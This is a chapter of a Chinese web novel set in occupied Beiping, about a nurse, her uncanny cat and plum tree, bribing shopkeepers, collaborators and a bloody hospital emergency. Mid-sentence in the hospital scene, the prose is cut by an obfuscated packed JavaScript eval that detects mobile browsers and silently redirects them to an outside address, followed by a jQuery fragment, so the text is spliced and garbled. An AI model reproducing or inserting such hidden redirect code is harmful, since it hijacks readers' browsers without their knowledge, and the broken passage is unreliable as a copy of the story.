大黄呼噜声没停,两只耳朵弹了弹,前爪伸得长长的,眯着眼觉得甚是满意。
林卓手上的青铜链子,苍绿的颜色正以极细微速度一点点鲜明起来。
小院里正发生着不可知的变化。
而此时的文庙街。
保安队长王二狗攥着《良民证》底册,后腰别着的南部式手枪。
他抬脚踹开“翰墨轩”的雕花门,看着凶狠,力道却卸了七分,门楣上悬着北平卫戍司令部参谋主任刘文渊亲题的匾额,那是刘文正的堂兄。
“刘掌柜,皇军要查前几天车站丢的文物,劳您挪挪这些破书。”
王二狗指尖敲着《史记》函套,眼睛却盯着墙角梅瓶。那是明宣德年间的官窑。
刘文正捻着黄铜水烟壶,瞥了他一眼:“王队长要查便查,只是上月保定曹锟旧部来买《东坡全集》时,倒夸过我这铺子清净。”
王二狗腮帮子一抽。
曹大帅虽已失势,其门生仍掌控着冀南十二县的盐路,那是连日本人都想要分一杯羹的买卖。
他点着头呵呵笑着:“清净、是清净,这书铺子里就是清静,也看过了啊,就不打扰您的清静了。”
他说着退到了门外。
刘文正吸了一口水烟,往门口喷出一口浓浓的白雾,又眯着眼睛继续吸。
王二狗站在街边恨恨地啐了口痰,转身将怒火泄向隔壁粮店:“他娘的!这袋高粱霉成这德行,分明窝藏霍乱菌!”
粮店的金老板亮着光光的脑门,赶紧上前:“王队长开玩笑了,小店做着邻里买卖几十年了,可不敢干那缺德事,三号还给您家老太爷送了新到的苏米,吃着可好?”
王二狗只觉得一口气憋在嗓子眼,上不来,下不去,他鼓着胸口,脸都要紫了。
光脑门金掌柜和气地呵呵笑着:“王队长和小时候一样,脾气硬,火气大,可也讲义气,要不然那些淘小子也不能服你。”
金掌柜伸袖子摸出两块大洋,很自然地拉过王二狗的胳膊塞到他手里,还呵呵笑着说:“请弟兄们喝点清茶,这日头晒得也不容易。”
王二狗手里掂着大洋,脸色肉眼可见的变了模样:“还是您敞亮,劳您挂心,您忙着,米老爷子说吃着软和,劳您下月再送一袋子。”
说着出了粮铺子门。
光脑袋的金掌柜:“嘿嘿……”冷笑一声,从柜台侧面取下来一只黑油油的鸡毛掸子。
他大敞着门,挥着胳膊,开始上上下下地掸灰,细小的尘埃随着气流飘到了门外的阳光中,被路过的自行车气流给带走了。
一股浓郁的枣香逐渐弥漫开来,街对过的‘李记枣糕’出锅了。
光脑门的金掌柜朝右看,心里数着数“一、二、三……”
一条腿迈了出来,青色长衫一丝不皱,刘文正不紧不慢地左右张望,过了马路,朝着‘李记枣糕’走去。
每天下午吃一块枣糕,就着浓烈岩茶,是刘文正每天最幸福的时候,这个习惯,保持了三十三年了。
光脑门金掌柜得意的“嘿嘿”一笑,对隔壁这雷打不动的习惯了如指掌。
心里还笑话刘文正:天天一副老夫子的样,偏偏嗜甜如命,爱吃个糕点,呵……。
他抽抽鼻子心道:这香味是挺拿人,要不也买点?吃不惯给孩子带回去。
林卓也闻到了香味,是小米粥浓郁的米香,粥熬得出了油,粥上面一层黄膜,随着粥里面的小气泡一下下鼓起来,发出“咕嘟咕嘟”的声音,香味直冲鼻子。
“这么直接喝就很好呀!”她吸吸口水,竟然有些不舍得往里放猪肝了,放了猪肝就破坏了这米香。
她琢磨着干脆把猪肝蒸了吧,就当个菜也行。
麻利地点着另一个灶,去找朱婆婆要了一个敞口带盖的大陶盆,放水烧了起来。
大黄蹲在马扎上,眼睛随着她打转,林卓看看大黄:“大黄,别急啊,要凉凉才能吃。”
她去墙根薅艾草,看着郁郁葱葱到她腰的艾草,林卓愣了下,这草长这么高的吗?
不过这艾草真好,别看长得高,真嫩,她唰唰唰揪下来一大把,扔到大盆里清洗。
水开把艾草扔进去,再扔把小葱,从朱婆婆那要的一碟子黄酱,都倒进去继续煮。
再摘俩李子,她终于看到了这棵一直向她打招呼的李子树,如鸡蛋大的李子,挨挨挤挤簇拥一堆,林卓站着没动,这明显不对劲。
林卓左右张望下,又盯着李子树,右腿后退半步,有逃跑的架势,暗想:不会冒出个‘姥姥’吧。
她架势摆了半天,李子树仍然热情得拼命抖动叶子,虽然抖动的效果不明显,几乎看不见。
陶盆里的水哗哗的开了,林卓是有点想跑的,又舍不得她的小米粥和肝。
看李子树暂时没变‘姥姥’的样子,她去滤汤,把艾草和葱都滤掉,汤盛出来。
倒进装生猪肝的大碗里,倒到和猪肝齐平了,剩下的热汤加些水烧开,直接上锅蒸上了。
林卓不时回头看李子树。
转头间大黄后腿直立,抱着李子树“咔咔咔”地磨着爪子。
林卓刚要叫它,人家一纵身跳上去了,伸爪子巴拉李子,专挑大的巴拉。
“嘭嘭嘭”一会工夫掉了十几个李子,大黄似乎没找到满意的,停爪了,一下下舔着爪上的毛。
林卓“……”
没事哈,那我就不客气了。
她快速地把李子都捡起来扔盆里洗洗。拿一个最大的,翠绿如玉真好看,“咔嚓”一口,她噘着嘴五官抽到一起。
太酸、太酸了,酸汁在嘴里爆炸,过后一股极清新的气息冲进了喉咙。
她庆幸没吐出来,酸到极致后竟有回甘,嘴里竟冒出一丝丝的甜。
虽然只有一丝丝,但确实是甜,而且有些上脑,她觉得天灵盖都透气了,脑袋无比清晰又有些醺醺然,头顶像是开了花,心情也美美哒。
头一次吃东西,能吃出头顶开花又美美哒的感觉。
林卓想大笑:我的金手指终于来了吗,哈哈哈……
她还没美够就被大黄叫醒了,大黄用爪巴拉她的腿,再扭头看向锅,果然,木头锅盖被蒸汽顶得挪开一道缝了。
肝蒸熟了,她压碎一个李子,放进大碗里,看看时间差不多了。
这些东西都收拾好,去接青年过来吃饭了。
她甩着手,出了小仓库的院子,手里还攥着一个鸡蛋大的李子。
在她身后,远远的地方,大黄也叼着一个李子,不紧不慢地跟着她进了楼。
林卓推开病房的门,青年还在看报纸。
看林卓过来,颔首刚要说话,只听嘭的一声巨响,像是金属盘落地的声音,从走廊尽头传来。
吓得林卓一激灵。
只听一声杀猪般的嚎叫从楼下传来。
片刻有人在大喊“林护士,林护士去药房拿药。”
林卓急忙冲青年说:“先等会儿。”说完撒腿就跑。
护士鞋在磨石子地上打滑。
她一把抓住楼梯扶手,医用酒精的气味混着新鲜血腥直冲鼻腔——楼下的惨嚎声像是被钝刀割开了猪的喉咙,绝望又刺耳。
“林护士!止血粉!”诊疗室门缝里伸出只血手,指缝还黏着止血棉。
林卓连忙递出药箱,看着满地的血,她心里真突突,很小心地不踩到,退到墙根站着。
诊疗室的景象让林卓后槽牙发酸:穿卡其色军装的伤员在铁床上抽搐,右肩断茬处支棱着半根肱骨,像被蛮力掰断的鸡翅。
法国籍的麦隆医生用止血钳夹闭动脉断端,金丝眼镜滑到鼻尖,汗珠顺着脸颊流进口罩里。
“阿片酊!”麦隆医生大声吼着,于嫂冷静地用止血带加压说道:“最后一支昨天给了产褥热的产妇。”
她边说边扯过一直备着的用石炭酸纱布擦拭过的烙铁,火盆里突然腾起的青烟呛得人眼睛模糊。
林卓贴墙站着,余光瞥见诊室门口的黑绸衫——正是午时踩翻老妇粮袋的油头。
那人额头的黑痦子,似乎随着不时甩头发的动作而蠕动着,活像趴在腐肉上的苍蝇。
林卓心里一阵恶心。
他身后的宪兵用刺刀尖挑着个布包,上面滴落的血珠掉在军靴上。
“八嘎……”伤员突然暴起,完好的左手掐住护士脖颈。
麦隆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871557|176233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
医生抄起手术托盘砸向他太阳穴的刹那,于嫂的烙铁滑向锁骨上窝,似无意中压在神经交织处,暴凸的眼球渐渐失了凶光。
林卓慢慢地退到楼梯转角,不想在一楼呆了,可她也知道不能跑,这是在工作。
突然,一只毛茸茸挨着她,大黄不知什么时候跑过来了。
猫尾扫过她有些颤抖的小腿,她犹豫一下,抱起了大黄。
黑绸衫突然抬眼,目光像毒蛇信子舔过她的后颈,她本能地抱紧大黄:“看见那颗痦子没?该剐三千六百刀……”
猫爪肉垫按在她突突直跳的桡动脉上,金色眼底映出宪兵腰间的手雷。
二楼似有声音传来。
林卓抬头,看见青年扶着楼梯口,病号服下绷紧的胸肌随喘息起伏,似是感知到了她有危险。
他左手还抓着报纸,头条冀察政委会成立庆典,中缝却用小6号字刊登《红格尔图我军退敌纪实》。
“回去!”林卓用口型示意,却被黑绸衫的笑声打断:“花姑娘的,怕血?”那人嘴里的烟头吐在走廊血迹上。
“太君需要新鲜血浆,你的,过来抽血。”
大黄突然炸毛嘶吼,兽瞳缩成两道金线。
诊疗室的挂钟恰在此时敲响,地上的血迹像是变成一条条黑虫子。
林卓听见自己后槽牙摩擦的声响,像朱婆婆磨刀的动静。
玛丽医生的硬底皮鞋跟打在石板上,声音清脆。
“哒哒哒”地走过来。
她白大褂领口别着的纯银产钳徽章,胸前晃动的金色十字架。
“林!”玛丽染着红药水的手指戳向走廊尽头,德语腔中文怪声怪调,“accouchement不能拖了,你还在等耶稣显灵吗?”
她故意把病历本摔在器械盘上,惊得宪兵队的狼青犬龇牙低吼。
林卓瞬间反应过来,立马放下大黄,三步并两步跑到玛丽身边。
黑绸衫刚要阻拦,玛丽突然掀开消毒敷料桶——浓烈的石炭酸味呛得他连退三步,宪兵队狼犬皱起了鼻子。
“让开。”玛丽金发下的蓝眼睛扫过黑绸衫额头的痦子。
“或者你想替产妇缝会阴?”她晃了晃手里的弯头针,针尖还挂着上个产妇的胎脂。
走廊里忽明忽暗的灯泡下,林卓瞥见于嫂在诊疗室门口微微颔首。
她抱起急救箱小跑跟上玛丽。
听见玛丽用德语嘀咕“Schwein(猪猡)”。
拐角阴影里,陈医生的金丝眼镜泛着冷光。
他在整理病历,钢笔尖却在“妊娠高血压”记录页划出编号。
玛丽经过时咳嗽一声:“叮嘱孕妇,下次产检带丈夫来。”
玛丽用病历板拍打陈医生肩头,暗红胎记在领口若隐若现。
那是三个月前抢救枪伤地下党时,被流弹擦伤的疤痕。
大黄高高翘起的尾巴,一颠一颠地靠近,嘴里的李子,不知道掉到哪里去了。
青年则站在病床前,看着枕头上的李子发愣,他眼看着那只大黄猫,把一颗李子,放到上面,然后对着他颔首示意,跳下床就走了。
青年觉得大黄猫颔首的神态,似曾相识。
白日的暑气还未散尽,夜色里浮着槐花的甜腥,运河边高挑的灯笼一盏接一盏亮起来,昏黄的光晕在青石板上晕开。
像一串落进人间的星子。
卖凉粉的老汉推着独轮车轧过石板缝,木轮吱呀声惊起墙头打盹的野猫。
鼓楼南街的“春香阁”正热闹,跑堂托着铜壶在八仙桌间游走。
油头痦子踉踉跄跄地推开跑堂,一头撞出了“春香阁”的木格门,怀里银元叮当乱响。
醉眼看着对面饭庄新糊的黄灯笼,抬脚踹飞路边的泔水桶,油水溅在“仁丹”广告的八字胡人像上。
他醉眼迷离地拍拍胸脯,拍到里面的一封大洋,嘿嘿直乐:“太……太君赏的……”,他打着酒嗝拐进槐树胡同。
胡同右侧的屋顶上,一个影子不紧不慢地跟着。
油头痦子酒劲上涌,胃里翻江倒海,踉跄着扶住墙,刚要吐,忽觉后颈掠过丝凉风——像是簪子挑开衣领的触感。